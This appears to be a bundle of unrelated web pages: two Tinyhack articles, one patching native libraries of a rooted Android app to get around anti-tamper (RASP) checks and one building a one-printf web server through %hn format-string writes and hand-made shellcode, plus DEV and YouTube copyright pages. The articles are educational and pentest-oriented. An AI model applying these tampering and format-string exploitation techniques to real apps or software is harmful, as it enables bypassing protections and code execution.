anything can contribute to increase / optimize your own productivity or that of a team. about #productivity Does my article fit the tag? It depends! Productivity is a very broad term with many aspects and topics. From the color design of the office to personal rituals, anything can contribute to increase / optimize your own productivity or that of a team. Older #productivity posts 1269 1270 1271 1272 Posts Left menu 👋 Sign in for the ability to sort posts by relevant , latest , or top . Right menu loading... 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
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https://tinyhack.com/2024/11/18/patching-so-files-of-an-installed-android-app/ | Patching .so files of an installed Android App – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Patching .so files of an installed Android App If we installed an Android APK and we have a root access, we can modify the .so (native) filesof that app without altering the signature. This is true even if extractNativeLibs is set to false in AndroidManifest.xml . We can also patch the AOT compiled file (ODEX/VDEX) without changing the package signature, but that’s another story, I am just going to focus on the native code. native libraries are stored uncompressed and page aligned As a note: this is not a vulnerability, it requires root access. This method was discussed in the Mystique exploit presentation (2022). I just want to show that this is useful for pentest purpose, with an extra tip of how to write binary patch in C. Background I was doing a pentest on an Android app with a complex RASP. There are many challenges: If I unpack the APK file and repack it, it can detect the signature change If I use Frida, it can detect Frida in memory, even when I change the name using fridare It can detect Zygisk, so all injection methods that use Zygisk are detected It can detect hooks on any function, not just PLT. It seems that it is done by scanning the prologue of functions to see if it jumps to a location outside the binary; the app developer needs to call this check manually (this is quite an expensive operation), which is usually done before it performs some critical scenario. The RASP uses a native library, which is obfuscated Given enough time, I am sure it is possible to trace and patch everything, but we are time-limited, and I was only asked to check a specific functionality. When looking at that particular functionality, I can see that it is implemented natively in a non-obfuscated library. In this specific case, If I can patch the native code without altering the signature, I don’t need to deal with all the anti-frida, anti-hook, etc. Android Native Libs Installation Before Android 6.0, all native libraries were extracted during installation. So, when an app is installed, the original APK file and the extracted libraries are stored on device, which takes quite a lot of extra space for the user. Since Android 6, there has been a setting in AndroidManifest.xml called extractNativeLibs . If this is set to true, then the behavior is the same as the previous version. If this is set to false , the libraries are not extracted, but the libraries must be stored uncompressed and aligned to the page boundary inside the APK (using zipalign ). With this setting set to false , the APK will be larger, but when installed, it will not take extra space for the extracted libraries. Because the libraries are not compressed and are in a page-aligned position, Android can just mmap the libraries to memory. In Android Gradle Plugin since 3.6.0 extractNativeLibs defaults to false (February 2020), this is the setting if we are dealing with recent apps. We can see where the APK files of an Android application are installed using: adb shell pm path com.example.package . If we have a split APK, then the native libraries are stored in a separate APK, otherwise everything will be in one APK (base.apk). The APK signature is checked during installation, but it is only checked again during boot. This makes sense: binary APKs can be really big (hundreds of megabytes), and reverifying this on every app startup will take time. Unlike iOS, which signs every executable binary (it also encrypts the binary if it is installed from the app store), Android doesn’t have something like that. If extractNativeLibs is set to true , we can just overwrite the extracted .so files with our new files, and we are done. If extractNativeLibs is set to false , we can still put the library in directory which would have been used if extractNativeLibs is set to true. For example, if the APK path is: /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/base.apk Assuming we are using 64 bit Android, if we put our patched library in (we remove base.apk and replace it with lib/arm64 : /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/lib/arm64 Then, this library will be loaded instead of the library with the same name inside the APK. To prove this, I made a small app. This is the output when it was installed the first time. Pristine install The JNI Code is very simple: #include <jni.h> #include <string> #include <dlfcn.h> extern "C" JNIEXPORT jstring JNICALL Java_com_tinyhack_nativelib_NativeLib_stringFromJNI( JNIEnv* env, jobject /* this */) { std::string hello = "Hello from C++"; return env->NewStringUTF(hello.c_str()); } extern "C" JNIEXPORT jstring JNICALL Java_com_tinyhack_nativelib_NativeLib_libLocation( JNIEnv* env, jobject /* this */) { //use dladdr to find the current library location Dl_info info; if (dladdr((void *)Java_com_tinyhack_nativelib_NativeLib_libLocation, &info)) { return env->NewStringUTF(info.dli_fname); } std::string hello = "Can't find library location"; return env->NewStringUTF(hello.c_str()); } To add the library: adb push libnativelib.so /data/local/tmp Then we copy it to the real destination (found using pm path ): adb shell su -c cp /data/local/tmp/libnativelib.so /data/app/~~h8ArfmhA33K6xLYS0-KLSQ==/com.tinyhack.testnative-FKHrlxPDhIqH_YyxoglHzw==/lib/arm64 And this is the output after I put in the patched native lib. Two things are different: I changed the message from “C++” to “CXX”, and the path is now different (it doesn’t list base.apk in the path). After I put in the patched libnativelib.so This change will survive accross reboots, since it doesn’t touch the APK. For anyone reading this in the future, this is valid as of Android 13 Device used for testing Patching files inside the APK Another thing that we can do is to patch a library directly inside the APK. We can then overwrite the installed APK and the app will run fine, but after a reboot, the app will be uninstalled since the signature is invalid. Overwriting the library must be done at the same offset. So we can’t just re-zip the files (the offsets will change), use a hex editor, or write a code that will patch the APK at a certain offset. Editing APK using HxD Firt we push the APK to a writeable directory: adb push .\a.apk /data/local/tmp/ Then copy it to the target as shown by pm path com.example.packagename adb shell su -c cp /data/local/tmp/a.apk /data/app/~~xa3ANgaSg-DH4SuFIlqKLg==/com.tinyhack.testnative-FFtQq51Ol3Dmg2qvpJAYRg==/base.apk And we can see the output: the path is still inside the base.apk, but the text has changed Path is inside base.apk We can also patch any files that are not compressed (the compression method inside the APK is “Stored”), for example: editing resource name or value. In theory the compressed file can also be edited, but if the compressed file size differs, then we need to adjust the headers. I have not found an easy way to manipulate the APK for compressed files. Writing the patch in C Now after we know that we *can* alter the code, and it will just run fine, its time to write the patch. Most tutorials I saw use assembly language for patching, but we can code a binary patch using C. In my case, I want to replace a complicated function with static data that I read from a file. What I do is: I create a C file, annotate the functions and strings with section annotation. //open int __attribute__((naked)) __attribute__((noinline)) __attribute__((section(".my_open_section"))) my_open(const char *filename, int flags) { } //read int __attribute__((naked)) __attribute__((noinline)) __attribute__((section(".my_read_section"))) my_read(int fd, void *buf, int count) { } The naked attribute is used to make a zero sized function, and the noinline will make sure that this function is not inlined , we want it to be called. Then write the replacement function void __attribute__((section(".my_section"))) mycode(char *param1, int param2) { //code here } We need to know the address of all the functions that we need to call, and use a linker script to specify the exact addresses of the functions. We can get this using Ghidra or other disassember/decompiler. In this example: I want to patch a function located at 0x241278, and I found that open is located at 0xA37670 and read is at 0xA37680 . The following is the linker script ( linker_script.ld ): SECTIONS { .my_section 0x241278 : { *(.my_section) *(.my_section_string) } .my_open_section 0xA37670 : { *(.my_open_section) } .my_read_section 0xA37680 : { *(.my_read_section) } If you do this often, you can automate creating the function stubs by parsing the standard C include files and the output of Ghidra. For strings: we want it to be in text area, but if space is not enough, we can put it in a new section. If we want it in the text area, we can annotate the string like this (note that the string is read only since it is in the text area): void __attribute__((section(".my_section"))) mycode(char *param1, int param2) { static const char filename[] __attribute__((section(".my_section_string"))) = "/data/data/com.example.com/files/camera.bin"; int fd = my_open(filename, 0); if (fd >0) { my_read(fd, param1, param2); } } void main() {} //dummy main, so the compiler won't complain Then we can compile with this: clang -O1 -T linker_script.ld -o output.elf code.c Then we can extract the code that we are going to patch to dump.bin : objcopy --dump-section .my_section=dump.bin output.elf Some limitations: Code size is limited, but we can load another library if necessary using dlopen , or we can add new section using LIEF . It is not easy to use functions that are not imported (we can use syscalls directly, parse the ELF directly in memory, or use hardcoded offsets) If we want to use global variables, we need to find a memory area in data segment that are unused. Conclusion Could the RASP do better to detect this? yes, but it may require more resources: It can detect if every loaded library is from .apk (assuming extractNativeLibs is always false ) It can hash all the libraries and check it at runtime In my case, this could have been more difficult if my target binary is obfuscated and the function names are not clearly visible. Of course, any checks by RASP are possible to be bypassed since they can’t work on the OS level. If possbile, use Google Play Integrity API in your app (or other attestation framework provided by the phone vendor). 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https://www.youtube.com/about/copyright/ | 저작권 도구: 저작권 소유자 및 크리에이터 - YouTube 작동의 원리 콘텐츠로 이동 YouTube 작동의 원리 AI 저작권 크리에이터 경제 선거 아동 및 청소년 학습 뉴스 개인 정보 보호 맞춤 동영상 YouTube 정책 영향력 보고서 투명성 보고서 저작권 YouTube는 생태계의 모든 구성원에게 이익이 되는 방향으로 플랫폼을 설계했습니다. 여기에는 저작권 소유자를 보호하는 장치와 크리에이터가 안심하고 활동할 수 있는 조치가 모두 포함되므로 모든 참여자가 독창적인 콘텐츠를 제작하는 데 전념할 수 있습니다. 섹션으로 이동 저작권 보호 도구 저작권 침해 신고 이의신청 섹션으로 이동 저작권 저작권 보호 도구 저작권 침해 신고 이의신청 YouTube 저작권 보호 도구의 작동 방식 YouTube는 전체 생태계의 니즈를 균형 있게 충족하도록 설계된 저작권 관리 제품군을 개발하는 데 수백만 달러를 투자했으며, 저작권에 대한 명확한 규칙을 제시하고 있습니다. YouTube는 플랫폼에 게시되는 저작권 보호 자료를 승인하는 과정에서 저작권 소유자와 직접 협력하고 있습니다. 또한 저작권 소유자에게 저작권 침해가 의심되는 사례를 신고할 수 있는 강력한 도구를 제공하며, 신고된 콘텐츠는 법에 따라 삭제하고 있습니다. YouTube의 저작권 관리 제품군을 구성하는 3가지 주요 도구는 다음과 같습니다. 웹 양식 누구를 위한 기능인가요? 저작권 소유자라면 누구나 80개 이상의 언어로 제공되는 웹 양식을 이용할 수 있습니다. 웹 양식은 저작권 삭제 요청을 간편하고 효율적으로 제출할 수 있도록 설계된 도구입니다. 어떤 기능인가요? 저작권 소유자가 요청에 관한 몇 가지 세부정보를 입력하면 YouTube에서 신고된 콘텐츠를 삭제하기 위한 법적 요건을 충족하는지 검토합니다. 저작권 소유자는 삭제된 콘텐츠의 사본이 다시 업로드되지 않도록 YouTube에 자동 차단을 요청하는 기능 등 여러 유용한 기능을 이용할 수 있습니다. Copyright Match Tool 누구를 위한 기능인가요? 크리에이터와 저작권 소유자가 콘텐츠를 보호할 수 있도록 이전에 업로드한 동영상과 동일하거나 매우 유사한 동영상을 자동으로 찾아주는 기능입니다. 어떤 기능인가요? 일치하는 콘텐츠가 발견되면 크리에이터 또는 저작권 소유자에게 알림이 전송됩니다. 그러면 저작권 소유자는 콘텐츠를 재사용했을 가능성이 있는 동영상을 검토하고 동영상 삭제를 요청할지 결정할 수 있습니다. Content ID 누구를 위한 기능인가요? 영화 스튜디오, 음반사 등 복잡한 형태의 저작권 관리가 필요하고 저작권 보호 콘텐츠를 대량으로 재게시해야 하는 저작권 소유자를 위한 기능입니다. 어떤 기능인가요? 저작권 소유자는 일치하는 콘텐츠가 발견될 때 적용할 규칙을 미리 정할 수 있습니다. 예를 들면 동영상 전체를 차단하거나, 문제의 동영상에 광고를 게재하여 수익을 창출하거나, 동영상의 시청률 통계를 추적할 수 있습니다. 웹 양식 누구를 위한 기능인가요? 저작권 소유자라면 누구나 80개 이상의 언어로 제공되는 웹 양식을 이용할 수 있습니다. 웹 양식은 저작권 삭제 요청을 간편하고 효율적으로 제출할 수 있도록 설계된 도구입니다. **어떤 기능인가요? ** 저작권 소유자가 요청에 관한 몇 가지 세부정보를 입력하면 YouTube에서 신고된 콘텐츠를 삭제하기 위한 법적 요건을 충족하는지 검토합니다. 저작권 소유자는 삭제된 콘텐츠의 사본이 다시 업로드되지 않도록 YouTube에 자동 차단을 요청하는 기능 등 여러 유용한 기능을 이용할 수 있습니다. Copyright Match Tool 누구를 위한 기능인가요? 크리에이터와 저작권 소유자가 콘텐츠를 보호할 수 있도록 이전에 업로드한 동영상과 동일하거나 매우 유사한 동영상을 자동으로 찾아주는 기능입니다. 어떤 기능인가요? 일치하는 콘텐츠가 발견되면 크리에이터 또는 저작권 소유자에게 알림이 전송됩니다. 그러면 저작권 소유자는 콘텐츠를 재사용했을 가능성이 있는 동영상을 검토하고 동영상 삭제를 요청할지 결정할 수 있습니다. Content ID 누구를 위한 기능인가요? 영화 스튜디오, 음반사 등 복잡한 형태의 저작권 관리가 필요하고 저작권 보호 콘텐츠를 대량으로 재게시해야 하는 저작권 소유자를 위한 기능입니다. 어떤 기능인가요? 저작권 소유자는 일치하는 콘텐츠가 발견될 때 적용할 규칙을 미리 정할 수 있습니다. 예를 들면 동영상 전체를 차단하거나, 문제의 동영상에 광고를 게재하여 수익을 창출하거나, 동영상의 시청률 통계를 추적할 수 있습니다. YouTube의 저작권 침해 신고 이의신청 처리 방식 YouTube에서 이루어지는 대부분의 저작권 침해 신고와 삭제 요청은 YouTube의 자동 감지 기술을 통해 이루어집니다. YouTube는 업로더가 잘못된 게시 중단 요청을 신고할 수 있도록 지원하고 있으며, 저작권 투명성 보고서 에서 크리에이터가 삭제 및 Content ID 소유권 주장 에 대해 이의를 제기하는 빈도를 측정합니다. 2023년 7월부터 12월까지 제기된 10억 건 이상의 Content ID 소유권 주장 중 이의신청이 접수된 비율은 1% 미만이었습니다. 이 중 65% 이상은 신고자가 자발적으로 소유권 주장을 취소하거나 30일 이내에 대응하지 않아 소유권 주장이 취소되었기 때문에 업로더에게 유리하게 해결되었습니다. ( 출처 ) 더 둘러보기 YouTube 저작권 투명성 보고서 저작권 및 권리 관리 센터 Copyright Match Tool 사용 방법 | 2026-01-13T08:47:54 |
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https://tinyhack.com/2014/03/12/implementing-a-web-server-in-a-single-printf-call/?replytocom=24558#respond | Implementing a web server in a single printf() call – Tinyhack.com --> Skip to content Tinyhack.com A hacker does for love what others would not do for money. Implementing a web server in a single printf() call A guy just forwarded a joke that most of us will already know Jeff Dean Facts (also here and here ). Everytime I read that list, this part stands out: Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search. It is really possible to implement a web server using a single printf call, but I haven’t found anyone doing it. So this time after reading the list, I decided to implement it. So here is the code, a pure single printf call, without any extra variables or macros (don’t worry, I will explain how to this code works) #include <stdio.h> int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3", ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 + 2, (((unsigned long int)0x4005c8 + 12) & 0xffff)- ((((unsigned long int)0x4005c8 + 12) >> 16) & 0xffff), 0, 0x00000000006007D8 ); } This code only works on a Linux AMD64 bit system, with a particular compiler (gcc version 4.8.2 (Debian 4.8.2-16) ) And to compile it: gcc -g web1.c -O webserver As some of you may have guessed: I cheated by using a special format string . That code may not run on your machine because I have hardcoded two addresses. The following version is a little bit more user friendly (easier to change), but you are still going to need to change 2 values: FUNCTION_ADDR and DESTADDR which I will explain later: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) #define DESTADDR 0x00000000006007D8 #define a (FUNCTION_ADDR & 0xffff) #define b ((FUNCTION_ADDR >> 16) & 0xffff) int main(int argc, char *argv[]) { printf("%*c%hn%*c%hn" "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3" , b, 0, DESTADDR + 2, a-b, 0, DESTADDR ); } I will explain how the code works through a series of short C codes. The first one is a code that will explain how that we can start another code without function call. See this simple code: #include <stdlib.h> #include <stdio.h> #define ADDR 0x00000000600720 void hello() { printf("hello world\n"); } int main(int argc, char *argv[]) { (*((unsigned long int*)ADDR))= (unsigned long int)hello; } You can compile it, but it many not run on your system. You need to do these steps: 1. Compile the code: gcc run-finalizer.c -o run-finalizer 2. Examine the address of fini_array objdump -h -j .fini_array run-finalizer And find the VMA of it: run-finalizer: file format elf64-x86-64 Sections: Idx Name Size VMA LMA File off Algn 18 .fini_array 00000008 0000000000600720 0000000000600720 00000720 2**3 CONTENTS, ALLOC, LOAD, DATA Note that you need a recent GCC to do this, older version of gcc uses different mechanism of storing finalizers. 3. Change the value of ADDR on the code to the correct address 4. Compile the code again 5. Run it and now you will see “hello world” printed to your screen. How does this work exactly?: According to Chapter 11 of Linux Standard Base Core Specification 3.1 .fini_array This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section. We are overwriting the array so that our hello function is called instead of the default handler. If you are trying to compile the webserver code, the value of ADDR is obtained the same way (using objdump). Ok, now we know how to execute a function by overriding a certain address, we need to know how we can overwrite an address using printf . You can find many tutorials on how to exploit format string bugs, but I will try give a short explanation. The printf function has this feature that enables us to know how many characters has been printed using the “%n” format: #include <stdio.h> int main(){ int count; printf("AB%n", &count); printf("\n%d characters printed\n", count); } You will see that the output is: AB 2 characters printed Of course we can put any address to the count pointer to overwrite that address. But to overide an address with a large value we need to print a large amount of text. Fortunately there is another format string “%hn” that works on short instead of int. We can overwrite the value 2 bytes at a time to form the 4 byte value that we want. Lets try to use two printf calls to put a¡ value that we want (in this case the pointer to function “hello”) to the fini_array: #include <stdio.h> #include <stdlib.h> #include <stdint.h> #define FUNCTION_ADDR ((uint64_t)hello) #define DESTADDR 0x0000000000600948 void hello() { printf("\n\n\n\nhello world\n\n"); } int main(int argc, char *argv[]) { short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("a = %04x b = %04x\n", a, b) uint64_t *p = (uint64_t*)DESTADDR; printf("before: %08lx\n", *p); printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("after1: %08lx\n", *p); printf("%*c%hn", a, 0, DESTADDR); printf("after2: %08lx\n", *p); return 0; } The important lines are: short a= FUNCTION_ADDR & 0xffff; short b = (FUNCTION_ADDR >> 16) & 0xffff; printf("%*c%hn", b, 0, DESTADDR + 2 ); printf("%*c%hn", a, 0, DESTADDR); The a and b are just halves of the function address, we can construct a string of length a and b to be given to printf, but I chose to use the “%*” formatting which will control the length of the output through parameter. For example, this code: printf("%*c", 10, 'A'); Will print 9 spaces followed by A, so in total, 10 characters will be printed. If we want to use just one printf, we need to take account that b bytes have been printed, and we need to print another b-a bytes (the counter is accumulative). printf("%*c%hn%*c%hn", b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); Currently we are using the “hello” function to call, but we can call any function (or any address). I have written a shellcode that acts as a web server that just prints “Hello world”. This is the shell code that I made: unsigned char hello[] = "\xeb\x3d\x48\x54\x54\x50\x2f\x31\x2e\x30\x20\x32" "\x30\x30\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d" "\x74\x79\x70\x65\x3a\x74\x65\x78\x74\x2f\x68\x74" "\x6d\x6c\x0d\x0a\x0d\x0a\x3c\x68\x31\x3e\x48\x65" "\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x3c\x2f" "\x68\x31\x3e\x4c\x8d\x2d\xbc\xff\xff\xff\x48\x89" "\xe3\x48\x83\xeb\x10\x48\x31\xc0\x50\x66\xb8\x1f" "\x90\xc1\xe0\x10\xb0\x02\x50\x31\xd2\x31\xf6\xff" "\xc6\x89\xf7\xff\xc7\x31\xc0\xb0\x29\x0f\x05\x49" "\x89\xc2\x31\xd2\xb2\x10\x48\x89\xde\x89\xc7\x31" "\xc0\xb0\x31\x0f\x05\x31\xc0\xb0\x05\x89\xc6\x4c" "\x89\xd0\x89\xc7\x31\xc0\xb0\x32\x0f\x05\x31\xd2" "\x31\xf6\x4c\x89\xd0\x89\xc7\x31\xc0\xb0\x2b\x0f" "\x05\x49\x89\xc4\x48\x31\xd2\xb2\x3d\x4c\x89\xee" "\x4c\x89\xe7\x31\xc0\xff\xc0\x0f\x05\x31\xf6\xff" "\xc6\xff\xc6\x4c\x89\xe7\x31\xc0\xb0\x30\x0f\x05" "\x4c\x89\xe7\x31\xc0\xb0\x03\x0f\x05\xeb\xc3"; If we remove the function hello and insert that shell code, that code will be called. That code is just a string, so we can append it to the “%*c%hn%*c%hn” format string. This string is unnamed, so we will need to find the address after we compile it. To obtain the address, we need to compile the code, then disassemble it: objdump -d webserver 00000000004004fd <main>: 4004fd: 55 push %rbp 4004fe: 48 89 e5 mov %rsp,%rbp 400501: 48 83 ec 20 sub $0x20,%rsp 400505: 89 7d fc mov %edi,-0x4(%rbp) 400508: 48 89 75 f0 mov %rsi,-0x10(%rbp) 40050c: c7 04 24 d8 07 60 00 movl $0x6007d8,(%rsp) 400513: 41 b9 00 00 00 00 mov $0x0,%r9d 400519: 41 b8 94 05 00 00 mov $0x594,%r8d 40051f: b9 da 07 60 00 mov $0x6007da,%ecx 400524: ba 00 00 00 00 mov $0x0,%edx 400529: be 40 00 00 00 mov $0x40,%esi 40052e: bf c8 05 40 00 mov $0x4005c8,%edi 400533: b8 00 00 00 00 mov $0x0,%eax 400538: e8 a3 fe ff ff callq 4003e0 <printf@plt> 40053d: c9 leaveq 40053e: c3 retq 40053f: 90 nop We only need to care about this line: mov $0x4005c8,%edi That is the address that we need in: #define FUNCTION_ADDR ((uint64_t)0x4005c8 + 12) The +12 is needed because our shell code starts after the string “%*c%hn%*c%hn” which is 12 characters long. If you are curious about the shell code, it was created from the following C code. #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/types.h> #include<sys/stat.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #include<signal.h> #include<fcntl.h> int main(int argc, char *argv[]) { int sockfd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in serv_addr; bzero((char *)&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; serv_addr.sin_port = htons(8080); bind(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)); listen(sockfd, 5); while (1) { int cfd = accept(sockfd, 0, 0); char *s = "HTTP/1.0 200\r\nContent-type:text/html\r\n\r\n<h1>Hello world!</h1>"; if (fork()==0) { write(cfd, s, strlen(s)); shutdown(cfd, SHUT_RDWR); close(cfd); } } return 0; } I have done an extra effort (although it is not really necessary in this case) to remove all NUL character from the shell code (since I couldn’t find one for X86-64 in the Shellcodes database ). Jeff Dean once implemented a web server in a single printf() call. Other engineers added thousands of lines of explanatory comments but still don’t understand exactly how it works. Today that program is the front-end to Google Search . It is left as an exercise for the reader to scale the web server to able to handle Google search load. Source codes for this post is available at https://github.com/yohanes/printf-webserver For people who thinks that this is useless: yes it is useless. I just happen to like this challenge, and it has refreshed my memory and knowledge for the following topics: shell code writing (haven’t done this in years), AMD64 assembly (calling convention, preserved registers, etc), syscalls, objdump, fini_array (last time I checked, gcc still used .dtors), printf format exploiting, gdb tricks (like writing memory block to file), and low level socket code (I have been using boost’s for the past few years). Update : Ubuntu adds a security feature that provides a read-only relocation table area in the final ELF. To be able to run the examples in ubuntu, add this in the command line when compiling -Wl,-z,norelro e.g: gcc -Wl,-z,norelro test.c Author admin Posted on March 12, 2014 April 28, 2017 Categories hacks 18 thoughts on “Implementing a web server in a single printf() call” dodi says: March 12, 2014 at 2:04 pm eh buset, serius nih lu ? 🙂 Reply priyo says: March 13, 2014 at 5:07 am scroll up… scroll down… scroll up… scroll down… 100x *gagal paham* Reply terminalcommand says: March 13, 2014 at 5:19 am Thank you! Very interesting article. I also didn’t know about the one line webserver at google. Although this is a hard topic, you’ve made a great work simplifying it. Reply Basun says: March 13, 2014 at 10:02 am The one line webserver bit is a joke about Jeff Dean, who works at Google. Its not real. 🙂 Reply Cees Timmerman says: April 20, 2016 at 4:12 pm There are real webserver oneliners: https://gist.github.com/willurd/5720255 Reply anonim says: March 13, 2014 at 5:29 am Diskusinya di https://news.ycombinator.com/item?id=7389623 Reply Neil says: March 13, 2014 at 12:38 pm Shouldn’t there be an exit() somewhere in the fork==0 branch? Otherwise every time there is a request the new child process will become a server too and start accepting requests, right? I think the parent leaks its copy of the file descriptor too. Maybe the fork is a bit redundant. I don’t think the write or close will block with such a small amount of data. Cool post though! I’m not really sure why I’m nitpicking in the shell code. Sorry. Reply admin says: March 14, 2014 at 1:58 am Ah yes, there is an exit from the loop on the assembly code (myhttp.s) but it got removed from http.c when I removed the comment and debug code. And you are also right about the fork, it is unnecessary in this case. At first I was going to write the HTTP headers and then exec some external command. I changed my mind and didn’t bother deleting the fork call. Reply Kyle Ross says: March 13, 2014 at 11:02 pm This is really interesting, but I’m having trouble following whats actually happening. Could you explain how you reduced that C code with includes and methods into a string containing hex codes and how that is turned back into some sort of executable code? Thanks Reply admin says: March 14, 2014 at 2:01 am I think it is beyond the scope of this article to explain about shell code writing. There are many books and tutorials that you can read (just search for “buffer overflow” or “shell code writing”). Reply TTK Ciar says: March 14, 2014 at 1:05 am Alternatively: $ perl -Mojo -E ‘a({inline => “%= `uptime`”})->start’ daemon & Server available at http://127.0.0.1:3000 . $ lynx -dump -nolist http://127.0.0.1:3000/ 17:57:56 up 66 days, 6:45, 108 users, load average: 0.10, 0.12, 0.07 though, perl by definition is cheating. Reply Evan Danaher says: March 14, 2014 at 2:54 pm I’m not sure why you used finalizers instead of just changing the return address on the stack; this may be the first time I’ve ever said this, but stack smashing is much more portable. I’ve made a variant that I’d expect to work on any gcc 4.4-4.7 on x86_64 Linux, and have some ideas which, if they work out, may make it actually “portable” to any x86/x86_64 Unix running a reasonable compiler. https://github.com/edanaher/printf-webserver Reply admin says: March 17, 2014 at 3:02 pm Yes using the stack is also possible, but on most modern system, GCC is compiled with stack protection turned on (and needs to be disabled using -fno-stack-protector). Reply Pingback: Implementing a web server in a single printf() call « adafruit industries blog Itzik Kotler says: March 15, 2014 at 4:35 pm Pretty neat. I did something similar (all though simpler) back in the days. See: http://www.exploit-db.com/papers/13233/ Reply Pingback: Saving the world, one cpu cycle at a time | Dav's bit o the web programath says: April 22, 2014 at 1:18 pm printf(“%*c%hn%*c%hn”, b, 0, DESTADDR + 2, b-a, 0, DESTADDR ); ————————————————— i think the fourth parameter should be ‘a-b’, not ‘b-a’, because a == b + (a – b) Reply Pingback: New top story on Hacker News: Implementing a web server in a single printf call (2014) – Latest news Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. 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A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. 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They cover a wide range of topics and feature thousands of posts, from coding tutorials to career advice, catering to both beginners and experienced developers. Following tags on DEV means subscribing to updates and content related to specific topics of interest. By following a tag, you'll see relevant posts in your feed or notifications, enabling you to stay 